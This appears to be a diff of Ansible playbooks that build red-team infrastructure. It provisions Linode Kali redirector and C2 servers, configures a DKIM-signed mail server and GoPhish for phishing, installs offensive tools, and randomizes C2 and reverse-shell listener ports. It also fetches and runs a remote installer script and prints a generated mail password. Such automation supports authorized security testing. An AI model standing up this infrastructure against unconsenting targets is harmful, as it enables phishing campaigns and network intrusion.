{% if cleanup_redirector and redirector_name is defined %}
|
||||||
|
- Redirector: {{ redirector_name }} ({{ redirector_ip | default('IP unknown') }})
|
||||||
|
{% endif %}
|
||||||
|
{% if cleanup_c2 and c2_name is defined %}
|
||||||
|
- C2 Server: {{ c2_name }} ({{ c2_ip | default('IP unknown') }})
|
||||||
|
{% endif %}
|
||||||
|
when: confirm_cleanup | bool
|
||||||
|
|
||||||
|
- name: Confirm cleanup operation
|
||||||
|
pause:
|
||||||
|
prompt: "\n>>> Type 'yes' to confirm deletion or press Ctrl+C to abort <<<"
|
||||||
|
register: confirmation
|
||||||
|
when: confirm_cleanup | bool
|
||||||
|
|
||||||
|
- name: Skip cleanup if not confirmed
|
||||||
|
meta: end_play
|
||||||
|
when: confirm_cleanup | bool and confirmation.user_input != 'yes'
|
||||||
@@ -0,0 +1,352 @@
|
|||||||
|
---
|
||||||
|
# Common task for configuring mail server
|
||||||
|
# Shared across all providers
|
||||||
|
|
||||||
|
- name: Set default SMTP auth credentials if not defined
|
||||||
|
set_fact:
|
||||||
|
smtp_auth_user: "{{ smtp_auth_user | default('admin') }}"
|
||||||
|
smtp_auth_pass: "{{ smtp_auth_pass | default(lookup('password', '/tmp/smtp_auth_pass_' + deployment_id + ' length=16 chars=ascii_letters,digits')) }}"
|
||||||
|
|
||||||
|
- name: Configure Postfix main.cf
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/postfix/main.cf
|
||||||
|
regexp: "{{ item.regexp }}"
|
||||||
|
line: "{{ item.line }}"
|
||||||
|
with_items:
|
||||||
|
- { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" }
|
||||||
|
- { regexp: '^mydomain', line: "mydomain = {{ domain }}" }
|
||||||
|
- { regexp: '^myorigin', line: "myorigin = $mydomain" }
|
||||||
|
- { regexp: '^inet_interfaces', line: "inet_interfaces = all" }
|
||||||
|
- { regexp: '^inet_protocols', line: "inet_protocols = ipv4" }
|
||||||
|
- { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" }
|
||||||
|
- { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" }
|
||||||
|
- { regexp: '^relay_domains', line: "relay_domains = $mydestination" }
|
||||||
|
- { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" }
|
||||||
|
- { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" }
|
||||||
|
- { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" }
|
||||||
|
- { regexp: '^milter_default_action', line: "milter_default_action = accept" }
|
||||||
|
- { regexp: '^milter_protocol', line: "milter_protocol = 6" }
|
||||||
|
- { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
|
||||||
|
- { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
|
||||||
|
|
||||||
|
- name: Check if SSL certificates exist
|
||||||
|
stat:
|
||||||
|
path: "/etc/letsencrypt/live/{{ domain }}/fullchain.pem"
|
||||||
|
register: ssl_cert_exists
|
||||||
|
|
||||||
|
- name: Configure Postfix SSL settings (if certificates exist)
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/postfix/main.cf
|
||||||
|
regexp: "{{ item.regexp }}"
|
||||||
|
line: "{{ item.line }}"
|
||||||
|
with_items:
|
||||||
|
- { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" }
|
||||||
|
- { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" }
|
||||||
|
- { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" }
|
||||||
|
- { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" }
|
||||||
|
when: ssl_cert_exists.stat.exists
|
||||||
|
|
||||||
|
- name: Configure Postfix SSL settings (if certificates don't exist - use opportunistic TLS)
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/postfix/main.cf
|
||||||
|
regexp: "{{ item.regexp }}"
|
||||||
|
line: "{{ item.line }}"
|
||||||
|
with_items:
|
||||||
|
- { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = may" }
|
||||||
|
- { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = no" }
|
||||||
|
when: not ssl_cert_exists.stat.exists
|
||||||
|
|
||||||
|
- name: Configure OpenDKIM
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/opendkim.conf
|
||||||
|
regexp: "{{ item.regexp }}"
|
||||||
|
line: "{{ item.line }}"
|
||||||
|
with_items:
|
||||||
|
- { regexp: '^Domain', line: "Domain {{ domain }}" }
|
||||||
|
- { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" }
|
||||||
|
- { regexp: '^Selector', line: "Selector mail" }
|
||||||
|
- { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" }
|
||||||
|
- { regexp: '^Syslog', line: "Syslog yes" }
|
||||||
|
- { regexp: '^UMask', line: "UMask 002" }
|
||||||
|
- { regexp: '^Mode', line: "Mode sv" }
|
||||||
|
|
||||||
|
- name: Create OpenDKIM socket directory
|
||||||
|
file:
|
||||||
|
path: /var/spool/postfix/opendkim
|
||||||
|
state: directory
|
||||||
|
owner: opendkim
|
||||||
|
group: postfix
|
||||||
|
mode: 0755
|
||||||
|
|
||||||
|
- name: Create DKIM directory
|
||||||
|
file:
|
||||||
|
path: /etc/opendkim/keys/{{ domain }}
|
||||||
|
state: directory
|
||||||
|
owner: opendkim
|
||||||
|
group: opendkim
|
||||||
|
mode: 0700
|
||||||
|
|
||||||
|
- name: Generate DKIM keys
|
||||||
|
command: >
|
||||||
|
opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail
|
||||||
|
args:
|
||||||
|
creates: /etc/opendkim/keys/{{ domain }}/mail.private
|
||||||
|
|
||||||
|
- name: Set permissions for DKIM keys
|
||||||
|
file:
|
||||||
|
path: /etc/opendkim/keys/{{ domain }}/mail.private
|
||||||
|
owner: opendkim
|
||||||
|
group: opendkim
|
||||||
|
mode: 0600
|
||||||
|
|
||||||
|
- name: Configure OpenDKIM TrustedHosts
|
||||||
|
copy:
|
||||||
|
content: |
|
||||||
|
127.0.0.1
|
||||||
|
::1
|
||||||
|
localhost
|
||||||
|
{{ domain }}
|
||||||
|
dest: /etc/opendkim/TrustedHosts
|
||||||
|
owner: opendkim
|
||||||
|
group: opendkim
|
||||||
|
mode: 0644
|
||||||
|
|
||||||
|
- name: Enable submission port (587) in master.cf (with SSL)
|
||||||
|
blockinfile:
|
||||||
|
path: /etc/postfix/master.cf
|
||||||
|
insertafter: '^#submission'
|
||||||
|
block: |
|
||||||
|
submission inet n - y - - smtpd
|
||||||
|
-o syslog_name=postfix/submission
|
||||||
|
-o smtpd_tls_security_level=encrypt
|
||||||
|
-o smtpd_sasl_auth_enable=yes
|
||||||
|
-o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
|
||||||
|
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
|
||||||
|
when: ssl_cert_exists.stat.exists
|
||||||
|
|
||||||
|
- name: Enable submission port (587) in master.cf (without SSL requirements)
|
||||||
|
blockinfile:
|
||||||
|
path: /etc/postfix/master.cf
|
||||||
|
insertafter: '^#submission'
|
||||||
|
block: |
|
||||||
|
submission inet n - y - - smtpd
|
||||||
|
-o syslog_name=postfix/submission
|
||||||
|
-o smtpd_tls_security_level=may
|
||||||
|
-o smtpd_sasl_auth_enable=yes
|
||||||
|
-o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
|
||||||
|
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
|
||||||
|
when: not ssl_cert_exists.stat.exists
|
||||||
|
|
||||||
|
- name: Configure Dovecot for Postfix SASL
|
||||||
|
blockinfile:
|
||||||
|
path: /etc/dovecot/conf.d/10-master.conf
|
||||||
|
insertafter: '^service auth {'
|
||||||
|
block: |
|
||||||
|
# Postfix smtp-auth
|
||||||
|
unix_listener /var/spool/postfix/private/auth {
|
||||||
|
mode = 0660
|
||||||
|
user = postfix
|
||||||
|
group = postfix
|
||||||
|
}
|
||||||
|
|
||||||
|
- name: Set Dovecot auth_mechanisms
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/dovecot/conf.d/10-auth.conf
|
||||||
|
regexp: '^auth_mechanisms'
|
||||||
|
line: 'auth_mechanisms = plain login'
|
||||||
|
|
||||||
|
- name: Create Dovecot password file for SASL authentication
|
||||||
|
file:
|
||||||
|
path: /etc/dovecot/passwd
|
||||||
|
state: touch
|
||||||
|
mode: '0600'
|
||||||
|
owner: dovecot
|
||||||
|
group: dovecot
|
||||||
|
|
||||||
|
- name: Add SMTP auth user to Dovecot
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/dovecot/passwd
|
||||||
|
line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}"
|
||||||
|
|
||||||
|
- name: Display SMTP authentication credentials (if generated)
|
||||||
|
debug:
|
||||||
|
msg: |
|
||||||
|
SMTP Authentication Credentials (Generated):
|
||||||
|
Username: {{ smtp_auth_user }}
|
||||||
|
Password: {{ smtp_auth_pass }}
|
||||||
|
|
||||||
|
Save these credentials for email client configuration.
|
||||||
|
when: smtp_auth_pass is defined and smtp_auth_pass != ""
|
||||||
|
|
||||||
|
- name: Disable system auth and use passwd-file
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/dovecot/conf.d/10-auth.conf
|
||||||
|
regexp: '^!include auth-system.conf.ext'
|
||||||
|
line: '#!include auth-system.conf.ext'
|
||||||
|
|
||||||
|
- name: Create custom auth configuration file
|
||||||
|
copy:
|
||||||
|
dest: /etc/dovecot/conf.d/auth-c2itall.conf.ext
|
||||||
|
content: |
|
||||||
|
passdb {
|
||||||
|
driver = passwd-file
|
||||||
|
args = scheme=sha512_crypt /etc/dovecot/passwd
|
||||||
|
}
|
||||||
|
|
||||||
|
userdb {
|
||||||
|
driver = static
|
||||||
|
args = uid=vmail gid=vmail home=/var/vmail/%u
|
||||||
|
}
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Include custom auth configuration
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/dovecot/conf.d/10-auth.conf
|
||||||
|
insertafter: 'auth_mechanisms = plain login'
|
||||||
|
line: '!include auth-c2itall.conf.ext'
|
||||||
|
|
||||||
|
- name: Create vmail group
|
||||||
|
group:
|
||||||
|
name: vmail
|
||||||
|
gid: 5000
|
||||||
|
state: present
|
||||||
|
|
||||||
|
- name: Create vmail user
|
||||||
|
user:
|
||||||
|
name: vmail
|
||||||
|
uid: 5000
|
||||||
|
group: vmail
|
||||||
|
create_home: no
|
||||||
|
|
||||||
|
- name: Create vmail directory structure
|
||||||
|
file:
|
||||||
|
path: /var/vmail
|
||||||
|
state: directory
|
||||||
|
owner: vmail
|
||||||
|
group: vmail
|
||||||
|
mode: 0700
|
||||||
|
|
||||||
|
- name: Start and enable OpenDKIM service
|
||||||
|
service:
|
||||||
|
name: opendkim
|
||||||
|
state: started
|
||||||
|
enabled: yes
|
||||||
|
ignore_errors: true
|
||||||
|
|
||||||
|
- name: Check Postfix configuration syntax
|
||||||
|
command: postfix check
|
||||||
|
register: postfix_config_check
|
||||||
|
failed_when: false
|
||||||
|
|
||||||
|
- name: Display Postfix configuration errors if any
|
||||||
|
debug:
|
||||||
|
msg: "Postfix configuration check result: {{ postfix_config_check.stdout_lines }}"
|
||||||
|
when: postfix_config_check.rc != 0
|
||||||
|
|
||||||
|
- name: Restart Postfix
|
||||||
|
service:
|
||||||
|
name: postfix
|
||||||
|
state: restarted
|
||||||
|
ignore_errors: true
|
||||||
|
register: postfix_restart_result
|
||||||
|
|
||||||
|
- name: Display Postfix restart error details
|
||||||
|
block:
|
||||||
|
- name: Get systemctl status for Postfix
|
||||||
|
command: systemctl status postfix.service
|
||||||
|
register: postfix_status
|
||||||
|
failed_when: false
|
||||||
|
|
||||||
|
- name: Get journal logs for Postfix
|
||||||
|
command: journalctl -xeu postfix.service --no-pager -n 20
|
||||||
|
register: postfix_logs
|
||||||
|
failed_when: false
|
||||||
|
|
||||||
|
- name: Display Postfix status and logs
|
||||||
|
debug:
|
||||||
|
msg: |
|
||||||
|
Postfix Status:
|
||||||
|
{{ postfix_status.stdout }}
|
||||||
|
|
||||||
|
Postfix Logs:
|
||||||
|
{{ postfix_logs.stdout }}
|
||||||
|
when: postfix_restart_result.failed
|
||||||
|
|
||||||
|
- name: Continue without Postfix if restart fails
|
||||||
|
debug:
|
||||||
|
msg: "Postfix failed to start but continuing deployment. Email services may not be available."
|
||||||
|
when: postfix_restart_result.failed
|
||||||
|
|
||||||
|
- name: Remove OpenDKIM configuration from Postfix if restart failed
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/postfix/main.cf
|
||||||
|
regexp: "{{ item }}"
|
||||||
|
state: absent
|
||||||
|
with_items:
|
||||||
|
- '^smtpd_milters'
|
||||||
|
- '^non_smtpd_milters'
|
||||||
|
- '^milter_default_action'
|
||||||
|
- '^milter_protocol'
|
||||||
|
when: postfix_restart_result.failed
|
||||||
|
ignore_errors: true
|
||||||
|
|
||||||
|
- name: Retry Postfix restart without OpenDKIM
|
||||||
|
service:
|
||||||
|
name: postfix
|
||||||
|
state: restarted
|
||||||
|
when: postfix_restart_result.failed
|
||||||
|
ignore_errors: true
|
||||||
|
register: postfix_retry_result
|
||||||
|
|
||||||
|
- name: Display final Postfix status
|
||||||
|
debug:
|
||||||
|
msg: |
|
||||||
|
Postfix final status: {{ 'Running' if not postfix_retry_result.failed else 'Failed' }}
|
||||||
|
Email services: {{ 'Limited functionality' if postfix_restart_result.failed else 'Fully operational' }}
|
||||||
|
when: postfix_restart_result.failed
|
||||||
|
|
||||||
|
- name: Check Dovecot configuration syntax
|
||||||
|
command: dovecot -n
|
||||||
|
register: dovecot_config_check
|
||||||
|
failed_when: false
|
||||||
|
|
||||||
|
- name: Display Dovecot configuration errors if any
|
||||||
|
debug:
|
||||||
|
msg: "Dovecot configuration check result: {{ dovecot_config_check.stdout_lines }}"
|
||||||
|
when: dovecot_config_check.rc != 0
|
||||||
|
|
||||||
|
- name: Restart Dovecot
|
||||||
|
service:
|
||||||
|
name: dovecot
|
||||||
|
state: restarted
|
||||||
|
ignore_errors: true
|
||||||
|
register: dovecot_restart_result
|
||||||
|
|
||||||
|
- name: Display Dovecot restart error details
|
||||||
|
block:
|
||||||
|
- name: Get systemctl status for Dovecot
|
||||||
|
command: systemctl status dovecot.service
|
||||||
|
register: dovecot_status
|
||||||
|
failed_when: false
|
||||||
|
|
||||||
|
- name: Get journal logs for Dovecot
|
||||||
|
command: journalctl -xeu dovecot.service --no-pager -n 20
|
||||||
|
register: dovecot_logs
|
||||||
|
failed_when: false
|
||||||
|
|
||||||
|
- name: Display Dovecot status and logs
|
||||||
|
debug:
|
||||||
|
msg: |
|
||||||
|
Dovecot Status:
|
||||||
|
{{ dovecot_status.stdout }}
|
||||||
|
|
||||||
|
Dovecot Logs:
|
||||||
|
{{ dovecot_logs.stdout }}
|
||||||
|
when: dovecot_restart_result.failed
|
||||||
|
|
||||||
|
- name: Continue without Dovecot if restart fails
|
||||||
|
debug:
|
||||||
|
msg: "Dovecot failed to start but continuing deployment. Email services may not be available."
|
||||||
|
when: dovecot_restart_result.failed
|
||||||
@@ -0,0 +1,85 @@
|
|||||||
|
---
|
||||||
|
# Linode/initial-infrastructure.yml
|
||||||
|
# This playbook only creates the Linode instances without trying to configure them
|
||||||
|
# This separation makes the deployment more reliable
|
||||||
|
|
||||||
|
- name: Create Linode infrastructure
|
||||||
|
hosts: localhost
|
||||||
|
gather_facts: false
|
||||||
|
connection: local
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
|
vars:
|
||||||
|
# Default values if not provided
|
||||||
|
ssh_user: "{{ ssh_user | default('root') }}"
|
||||||
|
linode_region: "{{ linode_region | default(region_choices | random) }}"
|
||||||
|
plan: "{{ plan | default('g6-standard-2') }}"
|
||||||
|
image: "{{ image | default('linode/kali') }}"
|
||||||
|
|
||||||
|
# Determine what to deploy based on configuration
|
||||||
|
deploy_redirector: "{{ not (c2_only | default(false)) }}"
|
||||||
|
deploy_c2: "{{ not (redirector_only | default(false)) }}"
|
||||||
|
|
||||||
|
# Generate random names if not provided
|
||||||
|
redirector_name: "{{ redirector_name | default('srv-' + 100000000 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
|
||||||
|
c2_name: "{{ c2_name | default('node-' + 100000000 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
|
||||||
|
|
||||||
|
tasks:
|
||||||
|
- name: Validate required Linode token
|
||||||
|
assert:
|
||||||
|
that:
|
||||||
|
- linode_token is defined and linode_token != ""
|
||||||
|
fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token."
|
||||||
|
|
||||||
|
- name: Create redirector Linode instance
|
||||||
|
community.general.linode_v4:
|
||||||
|
access_token: "{{ linode_token }}"
|
||||||
|
label: "{{ redirector_name }}"
|
||||||
|
type: "{{ plan }}"
|
||||||
|
region: "{{ linode_region }}"
|
||||||
|
image: "{{ image }}"
|
||||||
|
root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
|
||||||
|
authorized_keys:
|
||||||
|
- "{{ lookup('file', ssh_key_path) }}"
|
||||||
|
state: present
|
||||||
|
register: redirector_instance
|
||||||
|
when: deploy_redirector
|
||||||
|
|
||||||
|
- name: Set redirector_ip for later use
|
||||||
|
set_fact:
|
||||||
|
redirector_instance_id: "{{ redirector_instance.instance.id }}"
|
||||||
|
redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}"
|
||||||
|
when: deploy_redirector and redirector_instance is defined
|
||||||
|
|
||||||
|
- name: Create C2 Linode instance
|
||||||
|
community.general.linode_v4:
|
||||||
|
access_token: "{{ linode_token }}"
|
||||||
|
label: "{{ c2_name }}"
|
||||||
|
type: "{{ plan }}"
|
||||||
|
region: "{{ linode_region }}"
|
||||||
|
image: "{{ image }}"
|
||||||
|
root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
|
||||||
|
authorized_keys:
|
||||||
|
- "{{ lookup('file', ssh_key_path) }}"
|
||||||
|
state: present
|
||||||
|
register: c2_instance
|
||||||
|
when: deploy_c2
|
||||||
|
|
||||||
|
- name: Set c2_ip for later use
|
||||||
|
set_fact:
|
||||||
|
c2_instance_id: "{{ c2_instance.instance.id }}"
|
||||||
|
c2_ip: "{{ c2_instance.instance.ipv4[0] }}"
|
||||||
|
when: deploy_c2 and c2_instance is defined
|
||||||
|
|
||||||
|
- name: Display instance information
|
||||||
|
debug:
|
||||||
|
msg:
|
||||||
|
- "Linode instances created successfully!"
|
||||||
|
- "Waiting for instances to initialize..."
|
||||||
|
- "{{ 'Redirector IP: ' + redirector_ip if redirector_ip is defined else 'No redirector deployed' }}"
|
||||||
|
- "{{ 'C2 Server IP: ' + c2_ip if c2_ip is defined else 'No C2 server deployed' }}"
|
||||||
|
|
||||||
|
- name: Wait for instances to initialize (30 seconds)
|
||||||
|
pause:
|
||||||
|
seconds: 30
|
||||||
|
when: (deploy_redirector and redirector_instance is defined) or (deploy_c2 and c2_instance is defined)
|
||||||
@@ -0,0 +1,179 @@
|
|||||||
|
---
|
||||||
|
# Common task for installing offensive security tools
|
||||||
|
# Shared across all providers
|
||||||
|
|
||||||
|
- name: Force tools directory to root regardless of user
|
||||||
|
set_fact:
|
||||||
|
home_dir: "/root"
|
||||||
|
tools_dir: "/root/Tools"
|
||||||
|
when: provider == "aws"
|
||||||
|
|
||||||
|
- name: Determine home directory path
|
||||||
|
set_fact:
|
||||||
|
home_dir: "{{ (ansible_user == 'root') | ternary('/root', '/home/' + ansible_user) }}"
|
||||||
|
tools_dir: "{{ (ansible_user == 'root') | ternary('/root/Tools', '/home/' + ansible_user + '/Tools') }}"
|
||||||
|
|
||||||
|
- name: Create Tools directory
|
||||||
|
file:
|
||||||
|
path: "{{ tools_dir }}"
|
||||||
|
state: directory
|
||||||
|
owner: "{{ ansible_user }}"
|
||||||
|
group: "{{ ansible_user }}"
|
||||||
|
mode: '0755'
|
||||||
|
|
||||||
|
- name: Install base dependencies
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- python3-pip
|
||||||
|
- python3-venv
|
||||||
|
- pipx
|
||||||
|
- curl
|
||||||
|
- wget
|
||||||
|
- git
|
||||||
|
- jq
|
||||||
|
- unzip
|
||||||
|
- tmux
|
||||||
|
state: present
|
||||||
|
update_cache: yes
|
||||||
|
|
||||||
|
- name: Check if pipx is installed
|
||||||
|
command: which pipx
|
||||||
|
register: pipx_check
|
||||||
|
ignore_errors: true
|
||||||
|
changed_when: false
|
||||||
|
|
||||||
|
- name: Configure pipx path
|
||||||
|
shell: |
|
||||||
|
export PATH="$PATH:{{ home_dir }}/.local/bin"
|
||||||
|
pipx ensurepath
|
||||||
|
args:
|
||||||
|
executable: /bin/bash
|
||||||
|
register: pipx_path_result
|
||||||
|
until: pipx_path_result is success
|
||||||
|
retries: 3
|
||||||
|
delay: 5
|
||||||
|
when: pipx_check.rc == 0
|
||||||
|
|
||||||
|
- name: Set PATH for subsequent operations
|
||||||
|
set_fact:
|
||||||
|
custom_path: "{{ home_dir }}/.local/bin:{{ ansible_env.PATH }}"
|
||||||
|
|
||||||
|
- name: Install tools via pipx
|
||||||
|
shell: |
|
||||||
|
export PATH="{{ custom_path }}"
|
||||||
|
pipx install git+https://github.com/Pennyw0rth/NetExec
|
||||||
|
pipx install git+https://github.com/blacklanternsecurity/TREVORspray
|
||||||
|
pipx install impacket
|
||||||
|
environment:
|
||||||
|
PATH: "{{ custom_path }}"
|
||||||
|
register: pipx_install_result
|
||||||
|
until: pipx_install_result is success
|
||||||
|
retries: 3
|
||||||
|
delay: 5
|
||||||
|
|
||||||
|
- name: Install offensive security tools
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- nmap
|
||||||
|
- tcpdump
|
||||||
|
- hydra
|
||||||
|
- john
|
||||||
|
- hashcat
|
||||||
|
- sqlmap
|
||||||
|
- gobuster
|
||||||
|
- dirb
|
||||||
|
- enum4linux
|
||||||
|
- dnsenum
|
||||||
|
- seclists
|
||||||
|
- responder
|
||||||
|
- golang
|
||||||
|
- proxychains
|
||||||
|
- tor
|
||||||
|
- crackmapexec
|
||||||
|
state: present
|
||||||
|
|
||||||
|
- name: Download Kerbrute
|
||||||
|
shell: |
|
||||||
|
mkdir -p {{ tools_dir }}/Kerbrute
|
||||||
|
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O {{ tools_dir }}/Kerbrute/kerbrute
|
||||||
|
chmod +x {{ tools_dir }}/Kerbrute/kerbrute
|
||||||
|
args:
|
||||||
|
executable: /bin/bash
|
||||||
|
creates: "{{ tools_dir }}/Kerbrute/kerbrute"
|
||||||
|
|
||||||
|
- name: Clone SharpCollection nightly builds
|
||||||
|
git:
|
||||||
|
repo: https://github.com/Flangvik/SharpCollection.git
|
||||||
|
dest: "{{ tools_dir }}/SharpCollection"
|
||||||
|
version: master
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Clone PEASS-ng
|
||||||
|
git:
|
||||||
|
repo: https://github.com/carlospolop/PEASS-ng.git
|
||||||
|
dest: "{{ tools_dir }}/PEASS-ng"
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Clone MailSniper
|
||||||
|
git:
|
||||||
|
repo: https://github.com/dafthack/MailSniper.git
|
||||||
|
dest: "{{ tools_dir }}/MailSniper"
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Clone Inveigh
|
||||||
|
git:
|
||||||
|
repo: https://github.com/Kevin-Robertson/Inveigh.git
|
||||||
|
dest: "{{ tools_dir }}/Inveigh"
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Install Metasploit Framework (Nightly Build)
|
||||||
|
shell: |
|
||||||
|
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall
|
||||||
|
chmod 755 /tmp/msfinstall
|
||||||
|
/tmp/msfinstall
|
||||||
|
rm -f /tmp/msfinstall
|
||||||
|
args:
|
||||||
|
executable: /bin/bash
|
||||||
|
creates: /usr/bin/msfconsole
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Ensure GoPhish directory exists
|
||||||
|
file:
|
||||||
|
path: "{{ tools_dir }}/gophish"
|
||||||
|
state: directory
|
||||||
|
mode: '0755'
|
||||||
|
|
||||||
|
- name: Grab GoPhish latest release
|
||||||
|
shell: |
|
||||||
|
curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url'
|
||||||
|
register: gophish_url
|
||||||
|
failed_when: gophish_url.stdout == ""
|
||||||
|
changed_when: false
|
||||||
|
|
||||||
|
- name: Download and install GoPhish
|
||||||
|
shell: |
|
||||||
|
curl -L "{{ gophish_url.stdout }}" -o {{ tools_dir }}/gophish.zip
|
||||||
|
unzip {{ tools_dir }}/gophish.zip -d {{ tools_dir }}/gophish
|
||||||
|
rm -f {{ tools_dir }}/gophish.zip
|
||||||
|
chmod +x {{ tools_dir }}/gophish/gophish
|
||||||
|
args:
|
||||||
|
creates: "{{ tools_dir }}/gophish/gophish"
|
||||||
|
|
||||||
|
- name: Deploy Gophish config.json with custom admin port
|
||||||
|
template:
|
||||||
|
src: "../../modules/phishing/gophish/templates/gophish-config.j2"
|
||||||
|
dest: "{{ tools_dir }}/gophish/config.json"
|
||||||
|
owner: "{{ ansible_user }}"
|
||||||
|
group: "{{ ansible_user }}"
|
||||||
|
mode: '0644'
|
||||||
|
vars:
|
||||||
|
gophish_admin_port: "8090"
|
||||||
|
domain: "{{ domain }}"
|
||||||
|
|
||||||
|
- name: Set proper ownership for Tools directory
|
||||||
|
file:
|
||||||
|
path: "{{ tools_dir }}"
|
||||||
|
owner: "{{ ansible_user }}"
|
||||||
|
group: "{{ ansible_user }}"
|
||||||
|
recurse: true
|
||||||
|
mode: '0755'
|
||||||
@@ -0,0 +1,92 @@
|
|||||||
|
---
|
||||||
|
# tasks/port_randomization.yml
|
||||||
|
# Task file to randomize ports for C2 infrastructure with improved host-based service management
|
||||||
|
|
||||||
|
- name: Create port randomization script
|
||||||
|
copy:
|
||||||
|
src: "../files/randomize_ports.sh"
|
||||||
|
dest: "/root/Tools/randomize_ports.sh"
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Execute port randomization script
|
||||||
|
shell: |
|
||||||
|
cd /root/Tools && ./randomize_ports.sh
|
||||||
|
register: randomize_result
|
||||||
|
when: randomize_ports | default(true) | bool
|
||||||
|
|
||||||
|
- name: Display port randomization results
|
||||||
|
debug:
|
||||||
|
msg: "{{ randomize_result.stdout_lines }}"
|
||||||
|
when: randomize_ports | default(true) | bool
|
||||||
|
|
||||||
|
- name: Store randomized ports in variables
|
||||||
|
shell: |
|
||||||
|
PORT_CONFIG="/root/Tools/port_config.json"
|
||||||
|
if [ -f "$PORT_CONFIG" ]; then
|
||||||
|
cat "$PORT_CONFIG"
|
||||||
|
else
|
||||||
|
echo '{"error": "Port configuration not found"}'
|
||||||
|
fi
|
||||||
|
register: port_config_result
|
||||||
|
when: randomize_ports | default(true) | bool
|
||||||
|
|
||||||
|
- name: Set port fact variables
|
||||||
|
set_fact:
|
||||||
|
randomized_http_port: "{{ (port_config_result.stdout | from_json).http_c2_port | default(8888) }}"
|
||||||
|
randomized_https_port: "{{ (port_config_result.stdout | from_json).https_c2_port | default(443) }}"
|
||||||
|
randomized_mtls_port: "{{ (port_config_result.stdout | from_json).mtls_c2_port | default(31337) }}"
|
||||||
|
randomized_shell_handler_port: "{{ (port_config_result.stdout | from_json).shell_handler_port | default(shell_handler_port) }}"
|
||||||
|
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
|
||||||
|
|
||||||
|
- name: Update shell handler configuration with randomized port
|
||||||
|
replace:
|
||||||
|
path: "/root/Tools/shell-handler/persistent-listener.sh"
|
||||||
|
regexp: "LISTEN_PORT=.*"
|
||||||
|
replace: "LISTEN_PORT={{ randomized_shell_handler_port | default(shell_handler_port) }}"
|
||||||
|
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
|
||||||
|
|
||||||
|
- name: Update shell handler service with randomized port
|
||||||
|
lineinfile:
|
||||||
|
path: "/etc/systemd/system/shell-handler.service"
|
||||||
|
regexp: 'Environment="LISTEN_PORT='
|
||||||
|
line: 'Environment="LISTEN_PORT={{ randomized_shell_handler_port | default(shell_handler_port) }}"'
|
||||||
|
insertafter: '^\\[Service\\]'
|
||||||
|
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
|
||||||
|
|
||||||
|
# Improved service management - checks for service existence before restarting
|
||||||
|
- name: Determine services to restart based on host type
|
||||||
|
set_fact:
|
||||||
|
services_to_restart: []
|
||||||
|
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
|
||||||
|
|
||||||
|
- name: Check if Havoc service exists
|
||||||
|
stat:
|
||||||
|
path: "/etc/systemd/system/havoc.service"
|
||||||
|
register: havoc_service_stat
|
||||||
|
